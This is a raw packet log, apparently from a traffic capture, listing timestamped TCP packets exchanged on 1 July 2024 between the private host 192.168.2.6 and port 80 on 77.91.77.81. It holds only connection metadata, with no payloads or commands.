Jul 1, 2024 07:21:01.468558073 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.468569040 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.468571901 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.468580008 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.468590021 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.468596935 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.468614101 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.468633890 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.496618986 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.496637106 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.496658087 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.496671915 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.496681929 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.496694088 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.496700048 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.496758938 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.496783972 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.496795893 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.496807098 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.496843100 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.496854067 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.496865988 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.496885061 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.496896029 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.496920109 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.496938944 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.496990919 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.497025967 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.497039080 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.497075081 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.525710106 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.525726080 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.525744915 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.525753975 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.525765896 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.525778055 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.525778055 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.525795937 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.525810003 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.525831938 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.525855064 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.525871038 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.525921106 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.525932074 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.525942087 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.525952101 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.525964022 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.525974989 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.526017904 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.526048899 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.526061058 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.526071072 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.526096106 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.526119947 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.526143074 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.526154041 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.526168108 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.526173115 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.526191950 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.526207924 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.526242971 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.526256084 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.526285887 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.526329041 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.526341915 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.526374102 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.555052996 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.555068016 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.555087090 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.555099010 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.555110931 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.555120945 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.555124044 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.555135012 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.555152893 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.555187941 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.555249929 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.555262089 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.555273056 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.555285931 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.555288076 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.555311918 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.555332899 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.556268930 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.556283951 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.556293964 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.556303024 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.556313992 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.556317091 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.556324005 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.556335926 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.556349039 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.556353092 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.556360006 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.556360960 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.556364059 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.556365967 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.556368113 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.556380033 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.556385040 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.556391001 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.556401968 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.556406975 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.556415081 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.556425095 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.556426048 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.556437016 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.556442976 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.556447983 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.556457043 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.556458950 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.556468010 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.556478024 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.556488991 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.556499004 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.556512117 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.556512117 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.556535959 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.556556940 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.556866884 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.556876898 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.556886911 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.556896925 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.556907892 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.556915045 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.556919098 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.556931019 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.556941032 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.556946039 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.556983948 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.556983948 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.557693958 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.557707071 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.557714939 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.557724953 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.557734966 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.557746887 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.557749987 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.557758093 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.557768106 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.557780027 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.557781935 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.557786942 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.557796955 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.557797909 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.557807922 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.557816982 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.557817936 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.557830095 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.557831049 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.557842016 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.557851076 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.557856083 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.557862043 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.557872057 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.557881117 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.557892084 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.557893038 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.557893038 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.557903051 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.557914019 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.557914019 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.557924032 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.557934999 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.557935953 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.557945967 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.557957888 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.557962894 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.557967901 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.557977915 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.557980061 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.557988882 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.557996035 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.557998896 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.558008909 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.558015108 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.558022976 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.558032036 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.558037996 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.558044910 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.558054924 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.558068037 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.558083057 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.585951090 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.585969925 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.585980892 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.585999966 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.586014032 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.586019993 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.586025953 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.586031914 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.586033106 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.586080074 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.586144924 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.586158991 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.586169004 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.586179972 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.586196899 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.586199045 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.586211920 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.586218119 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.586224079 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.586232901 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.586236954 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.586249113 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.586260080 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.586291075 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.586492062 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.586503983 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.586513996 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.586534977 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.586561918 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.614913940 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.614933014 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.614943981 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.614958048 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.614989996 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.615022898 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.615036964 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.615055084 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.615072966 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.615097046 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.615147114 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.615159035 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.615170956 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.615180969 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.615183115 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.615196943 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.615217924 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.615381956 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.615394115 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.615411997 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.615423918 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.615432024 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.615437031 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.615447998 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.615448952 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.615464926 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.615470886 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.615478039 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.615485907 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.615490913 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.615516901 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.615539074 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.615597963 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.615638971 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.615644932 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.615667105 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.647180080 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647197008 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647207975 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647219896 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647233009 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647238970 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.647243023 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647253990 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647267103 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647279024 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647286892 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647289991 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.647299051 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647315025 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.647315025 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647321939 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647326946 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647327900 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647332907 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647340059 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.647352934 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647356033 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.647365093 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647375107 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647380114 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.647386074 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647392988 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.647397041 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647407055 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.647407055 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647419930 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647430897 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647434950 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.647443056 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647454977 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647463083 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.647464991 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647483110 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.647490025 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647500038 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647510052 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647516012 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.647520065 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647531033 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647540092 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647542953 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.647551060 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647561073 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.647561073 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647573948 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647578955 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647579908 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.647588968 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647594929 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.647600889 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647625923 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647634029 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.647638083 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647648096 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647654057 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.647658110 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647667885 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647675037 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.647679090 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647694111 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647701025 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.647703886 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647715092 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.647715092 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647726059 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647739887 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647743940 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.647763968 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.647764921 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647778034 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647783995 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.647788048 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647799015 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647806883 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.647806883 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647819042 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647829056 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647830963 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:01.647839069 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:01.647847891 CEST	49726	80	192.168.2.6	77.91.77.81
